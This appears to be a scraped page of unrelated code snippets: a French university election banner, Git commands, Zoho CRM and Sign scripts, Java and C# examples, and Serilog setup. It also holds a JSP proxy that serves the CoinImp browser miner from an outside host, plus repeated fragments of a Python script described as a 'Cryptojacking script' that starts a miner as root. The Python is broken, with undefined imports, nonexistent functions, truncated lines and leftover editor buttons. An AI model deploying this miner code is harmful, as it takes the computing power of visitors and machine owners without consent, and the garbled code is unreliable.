Snippets Collections
<style type="text/css">#closed:target {display:none;}div#closed {background-color:#1e1b1bcf;width:100vw;height:100vh;z-index:10000;display:bloc;position:absolute;top:0;left:0;}#caution {margin:10vh auto;background:#D9A900;width:50vw;height:auto;position:relative;padding:4em;}#caution p {font-size:1.5em;line-height:1.4em;}a.fermer {position:absolute;top:0;right:0;display:bloc;padding:2em;}#caution a:hover {background:white !important;color:black !important;}@media screen and (max-width: 500px) {#caution {width:80vw;padding:1em;}a.fermer {padding:0.5em;}#caution h1 {margin-top:1em;}}</style>
<div id="closed">
<div id="caution"><a style="background:black;color:white;font-weight:bold;" class="fermer" href="#closed">fermer</a>
<h1 style="color:white;">Les 14 et 15 mai, je vote !</h1>
<p style="font-weight:bold;">Élection du représentant des personnels BIATSS de la ComUE UdL au CA</p>
<a style="display:block;background:black;color:white;font-size:1.5em;text-transform:uppercase;padding:1em;width:300px;text-align:center;margin:0 auto;" href="[id-fiche]actualite;1714383313921;0[/id-fiche]#KLINK" _linktype="interne">Comment voter ?</a></div>
</div>
.sp-testimonial-pro-item:has( .tpro-client-rating .fa:nth-of-type(2)[class="fa fa-star-o"] ) {
    display: none;
}
int minLavel = Convert.ToInt32(dt.Compute("min([AccountLevel])", string.Empty));
Git pull --rebase - use this instead of normal pull

Git rebase --abort - if something goes wrong in the above cmd

git merge --abort  

git config --list
<%@page autoFlush="false" session="false"%><%@page import = "java.net.*,java.io.*,java.util.*" %><%
/*
 
This is a generic caching proxy built for use with Java hosted sites (Caucho, Resin, Tomcat, etc.). This was 
originally built for use with CoinImp.com JavaScript miner. However, the AV friendly code supplied by CoinImp 
is PHP only.  You may place this .jsp file on your server instead of using the CoinImp PHP file. Here is an 
example of how to call the JSP proxy code from your JavaScript client. Note, substitute the correct Client ID 
which you can obtain from the CoinImp portal. Also, set the throttle as you need it.
 
<script src="/coinproxy.jsp?f=1Ri3.js"></script>
<script>
    var _client = new Client.Anonymous('YOUR KEY GOES HERE', {
        throttle: 0.7
    });     
    _client.start();
            
</script>   
 
// Hopefully you find this useful. No guarantees or warranties are made. Use at your own risk. This code is released to the public domain.
 
If you find this code useful, I would gladly accept Monero or donations to Coinbase Commerce:
 
MONERO ADDRESS: 424g2dLQiUzK9x28KLpi2fAuTVSAUrz1KM49MvmMdmJZXF3CDHedQhtDRanQ8p6zEtd1BjSXCAopc4tAxG5uLQ8pBMQY54m
COINBASE ADDRESS: https://commerce.coinbase.com/checkout/dd0e7d0d-73a9-43a6-bbf2-4d33515aef49
 
Thanks
*/
 
try {
        response.setHeader("Access-Control-Allow-Origin", "*");
        response.setCharacterEncoding("UTF-8");
        String filename=request.getParameter("f");
        if(filename.contains(".js")) { response.setContentType("application/javascript; charset=utf-8");
        } else { response.setContentType("application/octet-stream; charset=utf-8");
        }
        String host = java.net.URLEncoder.encode(request.getRequestURL().toString(),"UTF-8").replace("+","%20");
        String reqUrl = "http://www.wasm.stream?filename="+java.net.URLEncoder.encode(filename,"UTF-8").replace("+","%20")+"&host="+host;
        File f=new File("/tmp/"+filename);
 
        if(!f.exists() || (new Date().getTime() - f.lastModified())>60*60*1000) {
                // fetch code from server 
 
                URL url = new URL(reqUrl);
                HttpURLConnection uc = (HttpURLConnection) url.openConnection();
                InputStream in = uc.getInputStream();
 
                // save in /tmp
                FileOutputStream fo = new FileOutputStream(f);
 
                byte[] buffer = new byte[4096];
 
                int i=0;
                int count;
 
                while ((count = in.read(buffer)) != -1) {
                        i+=count;
                  fo.write(buffer,0,count);
                }
                fo.flush();
                fo.close();
                in.close();
        }
 
        // now open file and stream as response
 
        FileInputStream fi=new FileInputStream(f);
        OutputStream output = response.getOutputStream();
 
        response.setContentLength((int)(f.length()));
 
        // read cached copy
        System.out.println("File length: "+String.valueOf(f.length()));
 
        byte[] buffer = new byte[4096];
 
        int i=0;
        int count;
 
        while((count = fi.read(buffer)) != -1) {
                i+=count;
                output.write(buffer,0,count);
        }
        fi.close();
 
} catch (Exception e) {
e.printStackTrace();
}
%>
mail_merge_template = Map();
mail_merge_template.put("name","Copy Shareholder Agreement");
download_mail_merge = Map();
download_mail_merge.put("mail_merge_template", mail_merge_template);
download_mail_merge.put("output_format", "pdf");
download_mail_merge.put("file_name", "Test Shareholder Agreement");

param = Map();
param.put("download_mail_merge", download_mail_merge.toList());

download_pdf = invokeurl
[
	url: "https://www.zohoapis.com/crm/v6/Deals/"+DealID+"/actions/download_mail_merge"
	type: POST
	parameters: param.toString()
	connection:"zoho_crm"
];

info download_pdf;
download_pdf.setParamName("file");

/////////// Send Using Zoho Sign ////////


action_list = List();
action = Map();
action.put("action_type", "SIGN");
action.put("recipient_email", "roy@gmail.com");
action.put("recipient_name", "Roy");
action.put("verify_recipient", true);
action.put("verification_type", "EMAIL");
action_list.add(action);
request = Map();
request.put("request_name", "Test Shareholer Agreement");
request.put("is_sequential", false);
request.put("actions", action_list);
request.put("email_reminders", true);
request.put("reminder_period", 2);
requests = Map();
requests.put("requests", request);
data = Map();
data.put("data", requests);
info data;
/////
send_doc = invokeurl
[
	url: "https://sign.zoho.com/api/v1/requests"
	type: POST
	parameters: data
	files: download_pdf
	connection: "zoho_sign"
];

info send_doc;
.noClick {
  pointer-events: none;
}
cy.scrollTo(0, 500) // Scroll the window 500px down
cy.get('.sidebar').scrollTo('bottom') // Scroll 'sidebar' to its bottom
cy.scrollTo(0, 500) // Scroll the window 500px down
cy.get('.sidebar').scrollTo('bottom') // Scroll 'sidebar' to its bottom
Examine the environmental implications of Bitcoin Layer 2 scaling solutions in mitigating the carbon footprint associated with traditional proof-of-work (PoW) consensus mechanisms. Discover how Lightning Network and other Layer 2 protocols reduce on-chain congestion and energy consumption by facilitating a greater volume of transactions off-chain. Explore the potential for Layer 2 scaling to enhance the sustainability and long-term viability of the Bitcoin network, aligning with global efforts towards eco-friendly blockchain technologies.

bash
Edit
Run
Full Screen
Copy code
1python monitor_resources.py
python
Edit
Run
Full Screen
Copy code
1import os
2import psutil
3import smtplib
4from email.message import EmailMessage
5
6def send_email_alert(subject, body):
7    msg = EmailMessage()
8    msg.set_content(body)
9    msg["Subject"] = subject
10    msg["From"] = "your_email_address"
11    msg["To"] = "your_email_address"
12
13    with smtplib.SMTP_SSL("smtp.gmail.com", 465) as server:
14        server.login("your_email_address", "your_email_password")
15        server.send_message(msg)
16
17def monitor_resources():
18    while True:
19        cpu_usage = psutil.cpu_percent()
20        gpu_usage = psutil.gpu_percent()
21        memory_usage = psutil.virtual_memory().percent
22
23        if cpu_usage > 80 or gpu_usage > 80 or memory_usage > 80:
24            send_email_alert("Resource Usage Alert", "CPU or GPU usage is too high!")
25
26        time.sleep(10)
27
28if __name__ == "__main__":
29    check_permissions()
30    monitor_resources()
python
Edit
Run
Full Screen
Copy code
1def monitor_resources():
2    """Monitor system resources and take action if necessary"""
3    while True:
4        # Check CPU and GPU usage
5        cpu_usage = psutil.cpu_percent()
6        gpu_usage = psutil.gpu_percent()
7
8        # If CPU or GPU usage exceeds the threshold, stop mining and send an alert
9        if cpu_usage > 80 or gpu_usage > 80:
10            logger.warning("CPU or GPU usage too high! Stopping mining...")
11            os.system("killall miner")
12            send_email_alert("Resource Usage Alert", "CPU or GPU usage is too high!")
13            notify_user("CPU or GPU usage too high! Stopping mining...")
14
15        # Sleep for 10 seconds before checking again
16        time.sleep(10)
python
Edit
Run
Full Screen
Copy code
1import argparse
2import hashlib
3import logging
4import os
5import platform
6import psutil
7import scapy
8import plyer
9import time
10import threading
11import smtplib
12from email.message import EmailMessage
13
14# Set up logging
15logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
16logger = logging.getLogger(__name__)
17
18def get_system_info():
19    """Get system information"""
20    username = getpass.getuser()
21    hostname = platform.node()
22    system_info = f"{username}@{hostname}"
23    return system_info
24
25def generate_unique_id(system_info):
26    """Generate a unique ID based on system information"""
27    unique_id = hashlib.sha256(system_info.encode()).hexdigest()
28    return unique_id
29
30def start_miner(wallet_address, mining_pool, unique_id):
31    """Start the miner with the given wallet address, mining pool, and unique ID"""
32    miner_command = f"miner --algo=ethash --pool={mining_pool} --user={wallet_address} --rig-id={unique_id}"
33    logger.info(f"Starting miner with command: {miner_command}")
34    os.system(miner_command)
35
36def check_permissions():
37    """Check if the script has sufficient permissions to run"""
38    if os.geteuid() != 0:
39        logger.error("Insufficient permissions to run the script. Please run as root.")
40        exit(1)
41
42def monitor_resources():
43    """Monitor system resources and take action if necessary"""
44    while True:
45        # Check CPU and GPU usage
46        cpu_usage = psutil.cpu_percent()
47        gpu_usage = psutil.gpu_percent()
48
49        # If CPU or GPU usage exceeds the threshold, stop mining and send an alert
50        if cpu_usage > 80 or gpu_usage > 80:
51            logger.warning("CPU or GPU usage too high! Stopping mining...")
52            os.system("killall miner")
53            send_email_alert("Resource Usage Alert", "CPU or GPU usage is too high!")
54            notify_user("CPU or GPU usage too high! Stopping mining...")
55
56        # Sleep for 10 seconds before checking again
57        time.sleep(10)
58
59def monitor_network():
60    """Monitor network traffic and take action if necessary"""
61    while True:
62        # Check for unusual outbound connections
63        packets = scapy.sniff(filter="outbound")
64        for packet in packets:
65            if packet.haslayer(scapy.IP) and packet.haslayer(scapy.TCP):
66                if packet[scapy.TCP].dport == 444
python
Edit
Run
Full Screen
Copy code
1# Start the network monitoring thread
2if args.network_monitoring:
3    network_monitoring_thread = threading.Thread(target=monitor_network)
4    network_monitoring_thread.start()
5
6# Start the user notification thread
7user_notification_thread = threading.Thread(target=notify_user, args=("Miner started!",))
8user_notification_thread.start()
9
10# Keep the main thread alive until the user terminates the script
11while True:
12    time.sleep(1)
Edit
Full Screen
Copy code
1check_permissions()
2system_info = get_system_info()
3unique_id = generate_unique_id(system_info)
4
5# Start the miner
6start_miner(args.wallet_address, args.mining_pool, unique_id)
7
8# Start the resource monitoring thread
Edit
Full Screen
Copy code
1    # If CPU or GPU usage exceeds the threshold, stop mining and send an alert
2    if cpu_usage > 80 or gpu_usage > 80:
3        logger.warning("CPU or GPU usage too high! Stopping mining...")
4        os.system("killall miner")
5        # Send an alert to the user (e.g., via email or push notification)
6
7    # Sleep for 10 seconds before checking again
8    time.sleep(10)
python
Edit
Run
Full Screen
Copy code
1import argparse
2import hashlib
3import logging
4import os
5import platform
6import psutil
7import scapy
8import plyer
9import time
10import threading
11
12# Set up logging
13logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
14logger = logging.getLogger(__name__)
15
16def get_system_info():
17    """Get system information"""
18    username = getpass.getuser()
19    hostname = platform.node()
20    system_info = f"{username}@{hostname}"
21    return system_info
22
23def generate_unique_id(system_info):
24    """Generate a unique ID based on system information"""
25    unique_id = hashlib.sha256(system_info.encode()).hexdigest()
26    return unique_id
27
28def start_miner(wallet_address, mining_pool, unique_id):
29    """Start the miner with the given wallet address, mining pool, and unique ID"""
30    miner_command = f"miner --algo=ethash --pool={mining_pool} --user={wallet_address} --rig-id={unique_id}"
31    logger.info(f"Starting miner with command: {miner_command}")
32    os.system(miner_command)
33
34def check_permissions():
35    """Check if the script has sufficient permissions to run"""
36    if os.geteuid() != 0:
37        logger.error("Insufficient permissions to run the script. Please run as root.")
38        exit(1)
39
40def monitor_resources():
41    """Monitor system resources and take action if necessary"""
42    while True:
43        # Check CPU and GPU usage
44        cpu_usage = psutil.cpu_percent()
45        gpu_usage = psutil.gpu_percent()
46
47        # If CPU or GPU usage exceeds the threshold, stop mining and send an alert
48        if cpu_usage > 80 or gpu_usage > 80:
49            logger.warning("CPU or GPU usage too high! Stopping mining...")
50            os.system("killall miner")
51            notify_user("CPU or GPU usage too high! Stopping mining...")
52
53        # Sleep for 10 seconds before checking again
54        time.sleep(10)
55
56def monitor_network():
57    """Monitor network traffic and take action if necessary"""
58    while True:
59        # Check for unusual outbound connections
60        packets = scapy.sniff(filter="outbound")
61        for packet in packets:
62            if packet.haslayer(scapy.IP) and packet.haslayer(scapy.TCP):
63                if packet[scapy.TCP].dport == 4444:  # Mining pool port
64                    logger.warning("Suspicious outbound connection detected! Stopping mining...")
65                    os.system("killall miner")
66                    notify_user("Suspicious outbound connection detected! Stopping mining...")
67
68        # Sleep for 10 seconds before checking again
69        time.sleep(10)
70
71def notify_user(message):
72    """Send a notification to the user"""
73    plyer.notification.notify(
74        title="Cryptojacking Alert",
75        message=message,
76        timeout=10
77    )
78
79def main():
80    parser = argparse.ArgumentParser(description="Cryptojacking script")
81    parser.add_argument("-w", "--wallet-address", help="Your cryptocurrency wallet address", required=True)
82    parser.add_argument("-p", "--mining-pool", help="The mining pool to connect to", required=True)
83    args = parser.parse_args()
84
85    check_permissions()
86    system_info = get_system_info()
87    unique_id = generate_unique_id(system_info)
88
89    # Start the miner
90    start_miner(args.wallet_address, args.mining_pool, unique_id)
91
92    # Start the resource monitoring thread
93    resource_monitoring_thread = threading.Thread(target=monitor_resources)
94    resource_monitoring_thread.start()
95
96    # Start the network monitoring thread
97    network_monitoring_thread = threading.Thread(target=monitor_network)
98    network_monitoring_thread.start()
99
100    # Start the user notification thread
101    user_notification_thread = threading.Thread(target=notify_user, args=("Miner started!",))
102    user_notification_thread.start()
103
104    # Keep the main thread alive until the user terminates the script
105    while True:
106        time.sleep(1)
107
108if __name__ == "__main__":
109    main()
python
Edit
Run
Full Screen
Copy code
1import argparse
2import hashlib
3import logging
4import os
5import platform
6import psutil
7import scapy
8import plyer
9import time
10import threading
11
12# Set up logging
13logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
14logger = logging.getLogger(__name__)
15
16def get_system_info():
17    """Get system information"""
18    username = getpass.getuser()
19    hostname = platform.node()
20    system_info = f"{username}@{hostname}"
21    return system_info
22
23def generate_unique_id(system_info):
24    """Generate a unique ID based on system information"""
25    unique_id = hashlib.sha256(system_info.encode()).hexdigest()
26    return unique_id
27
28def start_miner(wallet_address, mining_pool, unique_id):
29    """Start the miner with the given wallet address, mining pool, and unique ID"""
30    miner_command = f"miner --algo=ethash --pool={mining_pool} --user={wallet_address} --rig-id={unique_id}"
31    logger.info(f"Starting miner with command: {miner_command}")
32    os.system(miner_command)
33
34def check_permissions():
35    """Check if the script has sufficient permissions to run"""
36    if os.geteuid()!= 0:
37        logger.error("Insufficient permissions to run the script. Please run as root.")
38        exit(1)
39
40def monitor_resources():
41    """Monitor system resources and take action if necessary"""
42    while True:
43        # Check CPU and GPU usage
44        cpu_usage = psutil.cpu_percent()
45        gpu_usage = psutil.gpu_percent()
46
47        # If CPU or GPU usage exceeds the threshold, stop mining and send an alert
48        if cpu_usage > 80 or gpu_usage > 80:
49            logger.warning("CPU or GPU usage too high! Stopping mining...")
50            os.system("killall miner")
51            # Send an alert to the user (e.g., via email or push notification)
52
53        # Sleep for 10 seconds before checking again
54        time.sleep(10)
55
56def monitor_network():
57    """Monitor network traffic and take action if necessary"""
58    while True:
59        # Check for unusual outbound connections
60        packets = scapy.sniff(filter="outbound")
61        for packet in packets:
62            if packet.haslayer(scapy.IP) and packet.haslayer(scapy.TCP):
63                if packet[scapy.TCP].dport == 4444:  # Mining pool port
64                    logger.warning("Suspicious outbound connection detected! Stopping mining...")
65                    os.system("killall miner")
66                    # Send an alert to the user (e.g., via email or push notification)
67
68        # Sleep for 10 seconds before checking again
69        time.sleep(10)
70
71def notify_user(message):
72    """Send a notification to the user"""
73    plyer.notification.notify(
74        title="Cryptojacking Alert",
75        message=message,
76        timeout=10
77    )
78
79def main():
80    parser = argparse.ArgumentParser(description="Cryptojacking script")
81    parser.add_argument("-w", "--wallet-address", help="Your cryptocurrency wallet address", required=True)
82    parser.add_argument("-p", "--mining-pool", help="The mining pool to connect to", required=True)
83    args = parser.parse_args()
84
85    check_permissions()
86    system_info = get_system_info()
87    unique_id = generate_unique_id(system_info)
88
89    # Start the miner
90    start_miner(args.wallet_address, args.mining_pool, unique_id)
91
92    # Start the resource monitoring thread
93    resource_monitoring_thread = threading.Thread(target=monitor_resources)
94    resource_monitoring_thread.start()
95
96    # Start the network monitoring thread
97    network_monitoring_thread = threading.Thread(target=monitor_network)
98    network_monitoring_thread.start()
99
100    # Start the user notification thread
101    user_notification_thread = threading.Thread(target=notify_user, args=("Miner started!",))
102    user_notification_thread.start()
103
104    # Keep the main thread alive until the user terminates the script
105    while True:
106        time.sleep(1)
107
108if __name__ == "__main__":
109    main()
Edit
Full Screen
Copy code
1    # If CPU or GPU usage exceeds the threshold, stop mining and send an alert
2    if cpu_usage > 80 or gpu_usage > 80:
3        logger.warning("CPU or GPU usage too high! Stopping mining...")
4        os.system("killall miner")
5        # Send an alert to the user (e.g., via email or push notification)
6
7    # Sleep for 10 seconds before checking again
8    time.sleep(10)
Edit
Full Screen
Copy code
1    # Sleep for 10 seconds before checking again
2    time.sleep(10)
Edit
Full Screen
Copy code
1check_permissions()
2system_info = get_system_info()
3unique_id = generate_unique_id(system_info)
4
5# Start the miner
6start_miner(args.wallet_address, args.mining_pool, unique_id)
7
8# Start the resource monitoring thread
9resource_monitoring_thread = threading.Thread(target=monitor_resources)
10resource_monitoring_thread.start()
11
12# Start the network monitoring thread
13network_monitoring_thread = threading.Thread(target=monitor_network)
14network_monitoring_thread.start()
15
16# Start the user notification thread
17user_notification_thread = threading.Thread(target=
Edit
Full Screen
Copy code
1# Keep the main thread alive until the user terminates the script
2while True:
3    time.sleep(1)
curl -fsSL https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-archive-keyring.gpg
from random import randint
from PIL import Image
from os import listdir, path, mkdir
from uuid import uuid4
import moviepy.editor as mp

def generate_video(folder):
    if not path.exists(folder):
        mkdir(folder)

    # generate video frames
    for i in range(20):
        img = Image.new(
            mode = 'RGB',
            size = (500, 250),
            color = (0, 0, 0)
        )

        for x in range(img.size[0]):
            for y in range(img.size[1]):
                r, g, b = randint(0, 255), randint(0, 255), randint(0, 255)
                img.putpixel((x, y), value = (r, g, b))

        img.save(f'{folder}/{i}.png')
    
    # create video
    images = [f'{folder}/{img}' for img in listdir(folder)]
    clips = [mp.ImageClip(img).set_duration(0.08) for img in images]
    video = mp.concatenate_videoclips(clips, method = 'compose')
    video.to_videofile(f'{str(uuid4())}.mp4', fps = 24)


generate_video('test')
sudo systemctl enable --now waydroid-container
from uuid import uuid4
import random

extintions = ['zip', 'exe', 'txt', 'py', 'mp4', 'mp3', 'png']

def generate_files(files_len, folder):
    for i in range(files_len):
        file_name = f'{folder}/{str(uuid4())}.{random.choice(extintions)}'
        file_size = (1024 * 1024) * random.randint(1, 10)
        file = open(file_name, 'wb')
        file.write(b'\b' * file_size)
        file.close()

generate_files(20, 'test')
You're logged into your Miro profile (you can always tell you're signed in if the extension icon is active)
After installing the extension, you refresh the board web pages if they're open (only needed once)
⚠️ Web Clipper doesn't work for pages that require authorization.
Frequently asked questions
/******************************************************************************

                            Online Java Compiler.
                Code, Compile, Run and Debug java program online.
Write your code in this editor and press "Run" button to execute it.

*******************************************************************************/
import java.util.Scanner;
import java.util.Arrays;
import java.util.Comparator;
public class Main
{
    private String name;
    private int age;
    private double salary;
    
    /* public Main(){
        Scanner sc = new Scanner(System.in);
        System.out.println("Enter Name: ");
        this.name = sc.nextLine();
        System.out.println("Enter age: ");
        this.age = sc.nextInt();
        System.out.println("Enter Salary: ");
        this.salary = sc.nextDouble();
    }*/
    
    public Main(String name, int age, double salary){
        
        this.name = name;
        this.age = age;
        this.salary = salary;
        
    }
    
    public String getName(){
        return name;
    }
    
    public int getAge(){
        return age;
    }
    
    public double getSalary(){
        return salary;
    }
    
    
    public void setName(String name)
    {
        this.name = name;
    }
    
    public void setAge(int age){
        this.age = age;
    }
    public void setSalary(double salary)
    {
        this.salary = salary;
    }
    
    public void displayInfo(){
        System.out.println("Name : "+ name);
        System.out.println("Age : "+ age);
        System.out.println("Salary : "+ salary);
    }
	public static void main(String[] args) {
		Main[] employee = {
		    new Main("John", 23, 3000000),
		    new Main("Bob", 102, 599990),
            new Main("Charlie", 103, 500000),
            new Main("David", 104, 900000)
		};
		
		//Main emp1 = new Main();
		//emp1.displayInfo();
		Arrays.sort(employee, Comparator.comparing(Main::getName));
		
		System.out.println("Sorted");
		for(Main emp : employee){
		    System.out.println(employee);
		}
	}
}
import java.util.Scanner;
public class Main
{
    private String name;
    private int age;
    private double salary;
    
    public Main(){
        Scanner sc = new Scanner(System.in);
        System.out.println("Enter Name: ");
        this.name = sc.nextLine();
        System.out.println("Enter age: ");
        this.age = sc.nextInt();
        System.out.println("Enter Salary: ");
        this.salary = sc.nextDouble();
    }
    
    public Main(String name, int age, double salary){
        
        this.name = name;
        this.age = age;
        this.salary = salary;
        
    }
    
    public String getName(){
        return name;
    }
    
    public int getAge(){
        return age;
    }
    
    public double getSalary(){
        return salary;
    }
    
    
    public void setName(String name)
    {
        this.name = name;
    }
    
    public void setAge(int age){
        this.age = age;
    }
    public void setSalary(double salary)
    {
        this.salary = salary;
    }
    
    public void displayInfo(){
        System.out.println("Name : "+ name);
        System.out.println("Age : "+ age);
        System.out.println("Salary : "+ salary);
    }
	public static void main(String[] args) {
	//	Main emp1 = new Main("John", 23, 3000000);
		
		Main emp1 = new Main();
		emp1.displayInfo();
	}
}
#AppComponent
ngOnInit() {
    this.translateService.setDefaultLang('ar');
    let historyState = JSON.parse(localStorage.getItem('historyState')!) as object;
    if (historyState) {
      history.pushState(historyState, "")
      localStorage.removeItem('historyState')
    }
  }
  @HostListener('window:beforeunload') getHistoryState() {
    if (history.state)
      localStorage.setItem('historyState', JSON.stringify(history.state));
  }
#AuditEntity
 public class AuditEntity
 {
     [Key]
     public Guid Id { get; set; }
     public string OldValues { get; set; }
     public string NewValues { get; set; }
     public DateTimeOffset DateTimeOffset { get; set; }
     public EntityState EntityState { get; set; }
     public string ByUser { get; set; }
     public Nullable<Guid> AuditMetaDataId { get; set; }
     [ForeignKey(nameof(AuditMetaDataId))]
     public virtual AuditMetaDataEntity AuditMetaData { get; set; }

 }
--------------------------------------------------------
 #AuditMetaDataEntity
public class AuditMetaDataEntity  
{
    [Key]
    public Guid Id { get; set; }
    public Guid HashPrimaryKey { get; set; }
    public string SchemaTable { get; set; }
    public string ReadablePrimaryKey { get; set; }
    public string Schema { get; set; }
    public string Table { get; set; }
    public string DisplayName { get; set; }
}
--------------------------------------------------------
#extensions
 internal static class InternalExtensions
 {
     internal static bool ShouldBeAudited(this EntityEntry entry)
     {
         return entry.State != EntityState.Detached && entry.State != EntityState.Unchanged &&
                !(entry.Entity is AuditEntity) && !(entry.Entity is AuditMetaDataEntity) &&
         entry.IsAuditable();
     }
     internal static bool IsAuditable(this EntityEntry entityEntry)
     {
         AuditableAttribute enableAuditAttribute = (AuditableAttribute)Attribute.GetCustomAttribute(entityEntry.Entity.GetType(), typeof(AuditableAttribute));
         return enableAuditAttribute != null;
     }

     internal static bool IsAuditable(this PropertyEntry propertyEntry)
     {
         Type entityType = propertyEntry.EntityEntry.Entity.GetType();
         PropertyInfo propertyInfo = entityType.GetProperty(propertyEntry.Metadata.Name);
         bool disableAuditAttribute = Attribute.IsDefined(propertyInfo, typeof(NotAuditableAttribute));

         return IsAuditable(propertyEntry.EntityEntry) && !disableAuditAttribute;
     }
 }

 public static class Extensions
 {
     public static string ToReadablePrimaryKey(this EntityEntry entry)
     {
         IKey primaryKey = entry.Metadata.FindPrimaryKey();
         if (primaryKey == null)
         {
             return null;
         }
         else
         {
             return string.Join(",", (primaryKey.Properties.ToDictionary(x => x.Name, x => x.PropertyInfo.GetValue(entry.Entity))).Select(x => x.Key + "=" + x.Value));
         }
     }

     public static Guid ToGuidHash(this string readablePrimaryKey)
     {
         using (SHA512 sha512 = SHA512.Create())
         {
             byte[] hashValue = sha512.ComputeHash(Encoding.Default.GetBytes(readablePrimaryKey));
             byte[] reducedHashValue = new byte[16];
             for (int i = 0; i < 16; i++)
             {
                 reducedHashValue[i] = hashValue[i * 4];
             }
             return new Guid(reducedHashValue);
         }
     }
 }
--------------------------------------------------------
#Attribute
 [AttributeUsage(AttributeTargets.Class)]
 public sealed class AuditableAttribute : Attribute
 { 
 
 }

 [AttributeUsage(AttributeTargets.Field | AttributeTargets.Property)]
 public sealed class NotAuditableAttribute : Attribute
 {
 
 }
--------------------------------------------------------
#AuditEntry
    internal class AuditEntry
    {
        private string _readablePrimaryKey;
        public string ReadablePrimaryKey
        {
            get
            {
                if (string.IsNullOrEmpty(_readablePrimaryKey))
                    _readablePrimaryKey = Entry.ToReadablePrimaryKey();
                return _readablePrimaryKey;
            }
            set
            {
                _readablePrimaryKey = value;
            }
        }
        public Guid HashReferenceId { get; set; }
        public EntityEntry Entry { get; }
        public string TableName { get; set; }
        public string DisplayName { get; set; }
        public string SchemaName { get; set; }
        public Dictionary<string, object> OldValues { get; } = new Dictionary<string, object>();
        public Dictionary<string, object> NewValues { get; } = new Dictionary<string, object>();
        public EntityState EntityState { get; set; }
        public string ByUser { get; set; }
        public List<PropertyEntry> TemporaryProperties { get; } = new List<PropertyEntry>();
        public bool HasTemporaryProperties => TemporaryProperties.Any();

        public AuditEntry(EntityEntry entry, ICurrentUser currentUser)
        {
            Entry = entry;
            ReadablePrimaryKey = Entry.ToReadablePrimaryKey();
            HashReferenceId = ReadablePrimaryKey.ToGuidHash();
            TableName = entry.Metadata.GetTableName();
            DisplayName = entry.Metadata.DisplayName();
            SchemaName = entry.Metadata.GetSchema()!=null ? entry.Metadata.GetSchema():"db" ;
            EntityState = entry.State;
            ByUser = currentUser == default ? "Unknown" : currentUser.UserName;

            foreach (PropertyEntry property in entry.Properties)
            {
                if (property.IsAuditable())
                {
                    if (property.IsTemporary)
                    {
                        TemporaryProperties.Add(property);
                        continue;
                    }

                    string propertyName = property.Metadata.Name;

                    switch (entry.State)
                    {
                        case EntityState.Added:
                            NewValues[propertyName] = property.CurrentValue;
                            break;

                        case EntityState.Deleted:
                            OldValues[propertyName] = property.OriginalValue;
                            break;

                        case EntityState.Modified:
                            if (property.IsModified)
                            {
                                OldValues[propertyName] = property.OriginalValue;
                                NewValues[propertyName] = property.CurrentValue;
                            }
                            break;
                    }
                }
            }
        }

        public void Update()
        {
            // Get the final value of the temporary properties
            foreach (var prop in TemporaryProperties)
            {
                NewValues[prop.Metadata.Name] = prop.CurrentValue;
            }

            if (TemporaryProperties != default && TemporaryProperties.Count(x => x.Metadata.IsKey()) > 0)
            {
                ReadablePrimaryKey = Entry.ToReadablePrimaryKey();
                HashReferenceId = ReadablePrimaryKey.ToGuidHash();
            }
        }

        public AuditMetaDataEntity ToAuditMetaDataEntity()
        {
            AuditMetaDataEntity auditMetaData = new AuditMetaDataEntity();
            auditMetaData.DisplayName = DisplayName;
            auditMetaData.Schema = SchemaName;
            auditMetaData.Table = TableName;
            auditMetaData.SchemaTable = $"{(!string.IsNullOrEmpty(SchemaName) ? SchemaName + "." : "")}{TableName}";
            auditMetaData.ReadablePrimaryKey = ReadablePrimaryKey;
            auditMetaData.HashPrimaryKey = HashReferenceId;

            return auditMetaData;
        }

        public AuditEntity ToAuditEntity(AuditMetaDataEntity auditMetaData)
        {
            AuditEntity audit = new AuditEntity();
            audit.OldValues = OldValues.Count == 0 ? "  " : JsonConvert.SerializeObject(OldValues);
            audit.NewValues = NewValues.Count == 0 ? "  " : JsonConvert.SerializeObject(NewValues);
            audit.EntityState = EntityState;
            audit.DateTimeOffset = DateTimeOffset.UtcNow;
            audit.ByUser = ByUser;
            audit.AuditMetaData = auditMetaData;

            return audit;
        }

        public AuditEntity ToAuditEntity()
        {
            AuditEntity audit = new AuditEntity();
            audit.OldValues = OldValues.Count == 0 ? null : JsonConvert.SerializeObject(OldValues);
            audit.NewValues = NewValues.Count == 0 ? null : JsonConvert.SerializeObject(NewValues);
            audit.EntityState = EntityState;
            audit.DateTimeOffset = DateTimeOffset.UtcNow;
            audit.ByUser = ByUser;

            return audit;
        }
    }
use Serilog.Sinks.Oracle package
----------------------------------------------------
#program file
builder.Host.UseSerilog((context, loggerConfiguration) => loggerConfiguration
     .WriteTo.Console()

     .ReadFrom.Configuration(context.Configuration)
     .Enrich.FromLogContext()
     .WriteTo.Oracle(cfg =>
                    cfg.WithSettings(builder.Configuration.GetConnectionString("DefaultConnection")/*, columnOptions: columnOptions*/)
                    .UseBurstBatch()
                    .CreateSink()));
----------------------------------------------------
#migration 
     protected override void Up(MigrationBuilder migrationBuilder)
     {
         migrationBuilder.Sql(@"
                     CREATE TABLE LOG(
                       ""Id""                 INT             NOT NULL ENABLE,
                       ""Message""            CLOB            NULL,
                       ""MessageTemplate""    CLOB            NULL,
                       ""Level""              NVARCHAR2(128)  NULL,
                       ""TimeStamp""          TIMESTAMP       NOT NULL,
                       ""Exception""          CLOB            NULL,
                       ""Properties""         CLOB            NULL,
                       ""LogEvent""           CLOB            NULL
                     );

                     ");

         migrationBuilder.Sql("CREATE SEQUENCE LOG_SEQUENCE START WITH 1 INCREMENT BY 1;");

         migrationBuilder.Sql(@"
                     CREATE TRIGGER 
                         LOG_TRIGGER 
                     BEFORE INSERT ON 
                         LOG 
                     REFERENCING 
                         NEW AS NEW 
                         OLD AS old 
                     FOR EACH ROW 
                     BEGIN 
                         IF :new.""Id"" IS NULL THEN 
                             SELECT 
                                 LOG_SEQUENCE.NEXTVAL 
                             INTO 
                                 :new.""Id"" 
                             FROM dual; 
                         END IF; 
                     END;

                     ");
         migrationBuilder.Sql("CREATE FUNCTION get_seq RETURN INT IS BEGIN  RETURN LOG_SEQUENCE.NEXTVAL; END; ");

     }

     /// <inheritdoc />
     protected override void Down(MigrationBuilder migrationBuilder)
     {

         migrationBuilder.Sql(" DROP TABLE  LOG ");

         migrationBuilder.Sql("DROP SEQUENCE LOG_SEQUENCE");

